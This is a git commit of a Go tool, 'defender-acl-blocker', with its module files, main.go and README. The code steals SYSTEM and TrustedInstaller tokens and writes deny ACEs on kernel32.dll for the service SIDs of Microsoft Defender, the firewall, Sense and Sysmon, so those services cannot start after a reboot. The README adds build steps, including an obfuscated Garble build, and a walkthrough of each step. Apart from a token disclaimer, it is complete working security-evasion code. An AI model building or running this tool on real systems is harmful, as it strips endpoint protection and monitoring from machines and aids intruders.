This commit is contained in:
Lars Karlslund
2026-01-09 11:06:28 +01:00
commit f300923ffd
4 changed files with 328 additions and 0 deletions
+8
View File
@@ -0,0 +1,8 @@
module github.com/lkarlslund/defender-acl-blocker
go 1.24.6
require (
github.com/Microsoft/go-winio v0.6.2
golang.org/x/sys v0.40.0
)
+4
View File
@@ -0,0 +1,4 @@
github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
+275
View File
@@ -0,0 +1,275 @@
package main
import (
"crypto/sha1"
"encoding/binary"
"flag"
"fmt"
"os"
"runtime"
"strings"
"syscall"
"unicode/utf16"
"unsafe"
winio "github.com/Microsoft/go-winio"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/svc"
"golang.org/x/sys/windows/svc/mgr"
)
type tokenstealer struct {
servicename string
executable string
}
const (
TOKEN_ASSIGN_PRIMARY = 0x0001
TOKEN_DUPLICATE = 0x0002
TOKEN_IMPERSONATE = 0x0004
TOKEN_QUERY = 0x0008
TOKEN_QUERY_SOURCE = 0x0010
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_ADJUST_GROUPS = 0x0040
TOKEN_ADJUST_DEFAULT = 0x0080
TOKEN_ADJUST_SESSIONID = 0x0100
TOKEN_ALL_ACCESS = 0xF01FF
)
var (
SYSTEM = tokenstealer{
executable: "winlogon.exe",
}
TRUSTEDINSTALLER = tokenstealer{
servicename: "TrustedInstaller",
executable: "trustedinstaller.exe",
}
modadvapi32 = syscall.NewLazyDLL("advapi32.dll")
impersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
openProcessToken = modadvapi32.NewProc("OpenProcessToken")
duplicateTokenEx = modadvapi32.NewProc("DuplicateTokenEx")
)
func enableSeDebugPrivilege() error {
return winio.EnableProcessPrivileges([]string{"SeDebugPrivilege"})
}
func parseProcessName(exeFile [windows.MAX_PATH]uint16) string {
for i, v := range exeFile {
if v <= 0 {
return string(utf16.Decode(exeFile[:i]))
}
}
return ""
}
func getProcessPid(executable string) (uint32, error) {
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(snapshot)
var procEntry windows.ProcessEntry32
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
if err := windows.Process32First(snapshot, &procEntry); err != nil {
return 0, err
}
for {
if strings.EqualFold(parseProcessName(procEntry.ExeFile), executable) {
return procEntry.ProcessID, nil
} else {
if err = windows.Process32Next(snapshot, &procEntry); err != nil {
if err == windows.ERROR_NO_MORE_FILES {
break
}
return 0, err
}
}
}
return 0, fmt.Errorf("cannot find %v in running process list", executable)
}
func getpid(ts tokenstealer) (uint32, error) {
if ts.servicename != "" {
svcMgr, err := mgr.Connect()
if err != nil {
return 0, fmt.Errorf("cannot connect to svc manager: %v", err)
}
defer svcMgr.Disconnect()
n, err := windows.UTF16PtrFromString(ts.servicename)
if err != nil {
return 0, err
}
h, err := windows.OpenService(svcMgr.Handle, n, windows.SERVICE_QUERY_STATUS|windows.SERVICE_START|windows.SERVICE_STOP|windows.SERVICE_USER_DEFINED_CONTROL)
if err != nil {
return 0, err
}
s := &mgr.Service{Name: ts.servicename, Handle: h}
defer s.Close()
status, err := s.Query()
if err != nil {
return 0, fmt.Errorf("cannot query service: %v", err)
}
if status.State != svc.Running {
if err := s.Start(); err != nil {
return 0, fmt.Errorf("cannot start service: %v", err)
}
}
}
pid, err := getProcessPid(ts.executable)
if err != nil {
return 0, fmt.Errorf("cannot get process pid: %v", err)
}
return pid, nil
}
func impersonate(ts tokenstealer) error {
pid, err := getpid(ts)
if err != nil {
return fmt.Errorf("cannot get pid: %v", err)
}
hand, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid)
if err != nil {
return fmt.Errorf("OpenProcess failed: %v", err)
}
defer windows.CloseHandle(hand)
var hToken syscall.Handle
res, _, err := openProcessToken.Call(uintptr(hand), TOKEN_DUPLICATE|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
if res == 0 {
return fmt.Errorf("OpenProcessToken failed: %v", err)
}
defer windows.CloseHandle(windows.Handle(hToken))
var hDup syscall.Handle
res, _, err = duplicateTokenEx.Call(uintptr(hToken), TOKEN_ALL_ACCESS, 0, 2, 1, uintptr(unsafe.Pointer(&hDup)))
if res == 0 {
return fmt.Errorf("DuplicateTokenEx failed: %v", err)
}
defer windows.CloseHandle(windows.Handle(hDup))
res, _, err = impersonateLoggedOnUser.Call(uintptr(hDup))
if res == 0 {
return fmt.Errorf("ImpersonateLoggedOnUser failed: %v", err)
}
return nil
}
func serviceSid(shortname string) string {
s := sha1.New()
bytes := make([]byte, len(shortname)*2)
for i, pair := range utf16.Encode([]rune(strings.ToUpper(shortname))) {
bytes[i*2] = byte(pair)
bytes[i*2+1] = byte(pair << 8)
}
s.Write(bytes)
hash := s.Sum(nil)
sid := "S-1-5-80"
for i := 0; i <= 16; i += 4 {
val := binary.LittleEndian.Uint32(hash[i:])
sid += fmt.Sprintf("-%v", val)
}
return sid
}
type stringSlice []string
func (s *stringSlice) String() string {
return strings.Join(*s, ",")
}
func (s *stringSlice) Set(value string) error {
*s = append(*s, strings.Split(value, ",")...)
return nil
}
func main() {
var services stringSlice
flag.Var(&services, "services", "List of services to disable (comma separated)")
targetdll := flag.String("target", "C:\\WINDOWS\\SYSTEM32\\KERNEL32.DLL", "Target to prohibit loading")
flag.Parse()
if len(services) == 0 {
services = []string{"WinDefend", "mpssvc", "Sense", "MDCoreSvc", "wscsvc", "WdNisSvc", "sysmon", "sysmon64"}
}
if err := enableSeDebugPrivilege(); err != nil {
fmt.Printf("can not enable debug privs: %v\n", err)
os.Exit(1)
}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := impersonate(SYSTEM)
if err != nil {
fmt.Printf("Cannot impersonate SYSTEM: %v\n", err)
os.Exit(1)
}
err = impersonate(TRUSTEDINSTALLER)
if err != nil {
fmt.Printf("Cannot impersonate TRUSTEDINSTALLER: %v\n", err)
os.Exit(1)
}
sd, err := windows.GetNamedSecurityInfo(*targetdll, windows.SE_FILE_OBJECT, windows.DACL_SECURITY_INFORMATION)
if err != nil {
fmt.Printf("Cannot get DACL from %v: %v\n", *targetdll, err)
os.Exit(1)
}
acl, _, err := sd.DACL()
if err != nil {
fmt.Printf("Error extracting DACL: %v\n", err)
os.Exit(1)
}
var trusteelist []windows.EXPLICIT_ACCESS
for _, service := range services {
defend, err := windows.StringToSid(serviceSid(service))
if err != nil {
fmt.Printf("cannot convert SID to string: %v\n", err)
os.Exit(1)
}
trustee := windows.TrusteeValueFromSID(defend)
trusteelist = append(trusteelist, windows.EXPLICIT_ACCESS{
AccessPermissions: windows.GENERIC_ALL,
AccessMode: windows.DENY_ACCESS,
Inheritance: windows.NO_INHERITANCE,
Trustee: windows.TRUSTEE{
TrusteeForm: windows.TRUSTEE_IS_SID,
TrusteeType: windows.TRUSTEE_IS_UNKNOWN,
TrusteeValue: trustee,
},
})
}
newacl, err := windows.ACLFromEntries(trusteelist, acl)
if err != nil {
fmt.Printf("cannot create new ACL: %v\n", err)
os.Exit(1)
}
if err := windows.SetNamedSecurityInfo(
*targetdll, windows.SE_FILE_OBJECT,
windows.DACL_SECURITY_INFORMATION,
nil, nil, newacl, nil); err != nil {
fmt.Printf("cannot set security info on %s: %v\n", *targetdll, err)
os.Exit(1)
}
fmt.Println("Operation completed successfully.")
os.Exit(0)
}
+41
View File
@@ -0,0 +1,41 @@
# Defender ACL Blocker
Disable Microsoft Defender user space part with simple ACL deny ACL
## Usage
### Regular build:
- install [Go](https://go.dev/dl/)
- clone this repo: `git clone https://github.com/lkarlslund/defender-acl-blocker`
- build it: `cd defender-acl-blocker && go build .`
### Obfuscated build:
- install [Go](https://go.dev/dl/)
- install Garble: `go install mvdan.cc/garble@latest`
- clone this repo: `git clone https://github.com/lkarlslund/defender-acl-blocker`
- build it: `cd defender-acl-blocker && garble -tiny -literals -seed=random build .`
### Run it:
From elevated command prompt:
```
defender-acl-blocker.exe
```
Reboot. Defender primary user mode service can not start anymore.
## How it works
The tool follows these steps to effectively block Defender (and other services) from starting:
1. It enables `SeDebugPrivilege` to allow the process to interact with other system processes.
2. It first impersonates the `SYSTEM` account by stealing a token from `winlogon.exe`.
* It then impersonates `TrustedInstaller`. If the service isn't running, it starts it, steals the token from the `trustedinstaller.exe` process, and assumes its identity. This provides the highest possible permissions over system files.
3. It calculates the unique Service SID for each target service (e.g., `WinDefend`, `Sense`, `mpssvc`). Service SIDs are in the format `S-1-5-80-...` and are used to identify the service's identity in the local system.
4. It retrieves the current Discretionary Access Control List (DACL) of a target system file (by default `C:\Windows\System32\kernel32.dll`).
* It prepends "DENY" Access Control Entries (ACEs) for each of the calculated Service SIDs to the ACL.
* It applies the modified ACL back to the target file.
5. Because "Deny" ACEs take precedence over any "Allow" ACEs, the Windows Loader will refuse to load the target DLL (like `kernel32.dll`) when the service tries to start. Since almost every user-mode process requires `kernel32.dll`, the Defender services fail to initialize and start.
## Disclaimer
This tool is provided as-is, for educational purposes only, and is not supported by Microsoft, yada yada. Don't use it.